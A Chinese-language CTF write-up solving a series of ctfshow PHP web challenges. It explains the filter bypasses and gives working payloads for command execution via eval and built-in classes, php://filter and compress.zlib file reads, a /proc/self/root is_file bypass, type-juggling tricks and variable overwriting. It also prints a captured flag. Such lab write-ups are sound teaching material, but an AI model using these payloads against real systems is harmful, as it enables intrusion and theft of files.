解答:正则匹配要求v1和v2要包含字母。题目中eval里的语句,和之前web101有点相似。
初始化$v1
,v1是个类,$v2()
是参数。
这道题用到了魔术方法__toString()
,不少php的内置类里都包含有这个方法,如Reflectionclass
、Exception
、Error
。
不知道哪些类有的话,可以用php手册搜一下。
__toString()
:当一个对象被当作字符串对待的时候,会触发这个魔术方法,格式化输出这个对象所包含的数据。
PHP5.2.0之前,__toString() 方法只在使用 echo 或 print 时才生效。PHP5.2.0之后,可以在任何字符串环境生效。
所以echo使得$v1
类触发__toString()
,传递的参数v2会被输出。
payload:
?v1=CachingIterator&v2=system(ls)
?v1=Exception&v2=system('cat fl36dg.txt')
最后,再对v2后面的括号进行解释,如v2=system(ls),$v2()
会把$v2
返回的值会作为函数名去调用,但是调用失败了。
只要变量后面紧跟着(),那么对这个变量进行函数调用。
如可以让返回值是phpinfo,就可以调用phpinfo()。
解答:不能包含数字和上面一系列的符号,下划线和括号都不行,只能输入字母。v1是类名,v2是函数名,同时该函数的返回值是string,可以触发__toString()。
先用?v1=exception&v2=phpinfo
查看一下有没有限制什么函数,以及扩展都有什么。
接下来就是找返回值是字符串的无参数函数。
FilesystemIterator
?v1=FilesystemIterator&v2=getcwd
返回第一个文件,正好是flag的文件。
flag文件就在当前目录下,所以直接访问即可获取flag。
知识点:
DirectoryInterator:遍历目录的类
FilesystemIterator:遍历文件的类
解答:v1和v2只能输入字母,同时1要包含字符串ctfshow。
看一下getFlag,&
属于地址传参,意思就是在函数内,如果对v1和v2变量进行修改,就是真实的被修改了。因此题目说的是变量覆盖。
eval("$$v1 = &$$v2;");
意思是:以v1变量的值为新的变量名,和以v2变量的值为新的变量名,这两个新的变量指向同一个地址,改变一个的值另外一个也跟着改变。如下示例:
$n1=a;$n2=b;
$$n1=$a;$$n2=$b; ==> $a=&$b;#变量b将地址传给了变量a,即两个变量指向同一个地址
v1用来满足条件判断,v2用来输出想要的信息,v2也是只能输入字母。include(flag.php),$flag是在外部声明,不能直接使用。
可以查看一下全局变量,发现flag。
payload:?v1=ctfshow&v2=GLOBALS
解答:限制了部分伪协议,但是php://filter
还可以用,可以不用过滤器直接读取。
同时if判断要求file不能为文件,可以用包装器伪协议来绕过。
伪协议不影响file_get_contents,和highlight_file。
payload1:?file=php://filter/resource=flag.php
payload2:也可以用web117的convert.iconv过滤器读取。
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
读完需要转一下。
#因为有特殊符号,需要加上转义符
$flag="f\$al=gc\"fthswo3{71eeb1-9103f4-7d-1b88f7-d90e06ab44}9;\"";
$result=iconv("UCS-2BE","UCS-2LE",$flag);
echo "flag:".$result."\n";
?>
payload3:转换过滤器convert里还有一个quoted-printable-encode可以用。
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
payload4:封装协议zip:?file=compress.zlib://flag.php
compress.zlib类似gzopen()
进一步学习:可以查看一下php手册学习一个各个协议。
file协议不能绕过is_file的判断。
http协议需要公网ip。
glob协议返回的是一个数组。highlight_file不能对数组进行高亮,所以本题不能用。
解答:这次限制了filter,但可以用封装协议。
payload1:?file=compress.zlib://flag.php
payload2:目录溢出导致is_file认为这不是一个文件。
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
/proc/self
:不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。/proc/self/root/
是指向/
的符号链接,就是根目录。
解答:限制了compress和convert,没有限制filter。
payload:可以直接读取
?file=php://filter/resource=flag.php
解答:有字符替换的过滤。同时
is_numeric可以在数字前面加空格绕过,同时加上空格可以绕过$num!='36'
。
trim是移除字符串两侧的空白字符或其他预定义字符,可以看到空格等字符是会被去掉的,那么可以用%0c
。
使用%0c
也可以绕过filter。
接下来再看第二个if判断,这是看起来很矛盾的一个判断。
来具体看一下!==
的定义,只要类型不同就不全等。
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。此规则也适用于 switch 语句。当用 === 或 !== 进行比较时则不进行类型转换,因为此时类型和数值都要比对。
——《php手册》语言参考-运算符-比较运算符
可以看到!==
时不进行类型转换。
所以加上%0c
换页符,在==
进行类型转换,所有%0c36
会被转换为数值36,结果true;在!==
不进行类型转换,所以字符串和数值比较,类型不同,结果true。
payload:?num=%0c36
解答:限制了一些特殊字符,限制了输入长度。
仔细看一下判断,要求CTF_SHOW、CTF_SHOW.COM必须传参,fl0g不能传参。所以$fl0g==="flag_give_me"
条件难以满足,可以利用上面的eval。
c的值来源于fun,提供了分号,那么就让它执行题中的echo $flag
即可。
默认会把点转换为下划线,对不符合规则的变量里只转换一次,CTF_SHOW.COM
里有两个不规则的字符,所以需要写成CTF[SHOW.COM
。
PHP将查询字符串(在URL或正文中)转换为内部
$_GET
或的关联数组$_POST
。如:/?CTF=ctf
变成Array([CTF] => "ctf")
。
查询字符串在解析的过程中会删除空白符,同时将某些字符删除或用下划线代替。如,/?CTF[SHOW=42
会转换为Array([CTF_SHOW] => 42)
。
payload-post:CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
解答:限制了flag、GLOBALS和echo
题目中限制了一些函数,phpinfo失败,当然system之类的也不行。
输出内容函数大多被限制了,但是highlight_file
肯定没有被限制,当前页面就用到了,所以用highlight_file
高亮显示。限制了长度,那么可以考虑get再传参。
payload:
get:?1=flag.php
post:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
用hackbar发了半天没反应。。。让我一度怀疑是不是哪里还有问题,最后用burp成功了。
解答:本题还限制了g
、i
、f
、c
、o
、d
,而且是大小写匹配。那么highlight_file
不能用了,各种输出函数不能使用了,所以不能直接通过eval
来实现输出flag了,需要考虑用满足fl0g的条件来echo $flag
。
不能set变量fl0g,所以要通过eval实现变量覆盖。可以实现变量覆盖的函数:
extract($array)
: 从数组中将变量导入到当前的符号表。可以实现变量覆盖。
parse_str($str)
:将字符串解析成多个变量。
以及可以执行php语句的函数,如assert()、eval()。
extract($array)
因为有字符c,所以不能使用。$_GET
传参不可以,有字符g。
题目中还提供了一个$a
,值为$_SERVER['argv']
。
命令行模式下:
$_SERVER['argv'][0]
是脚本名,其他的是传递给脚本的参数。
网页模式下:需要php.ini开启register_argc_argv配置。$_SERVER['argv'][0] = $_SERVER['QUERY_STRING'];
$_SERVER['argv'][0]
是$_SERVER['QUERY_STRING'];
,$_SERVER['argv'][1]
的传递方式就和命令行类似了,空格,然后传递第二个参数,以此类推。利用$_SERVER['argv'][1]
就可以绕过对isset($fl0g)
的判断。用+
代表空格。
payload1:
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
payload2:还可以用assert()执行php语句,实现变量覆盖。
下图可以看到直接输入字符,$_SERVER['argv'][0]
是输入的字符串,所以可以利用来执行php语句。
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
payload3:再利用eval,需要注意里面的语句必须分号;
或?>
结尾。
GET:?$fl0g=flag_give_me;
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])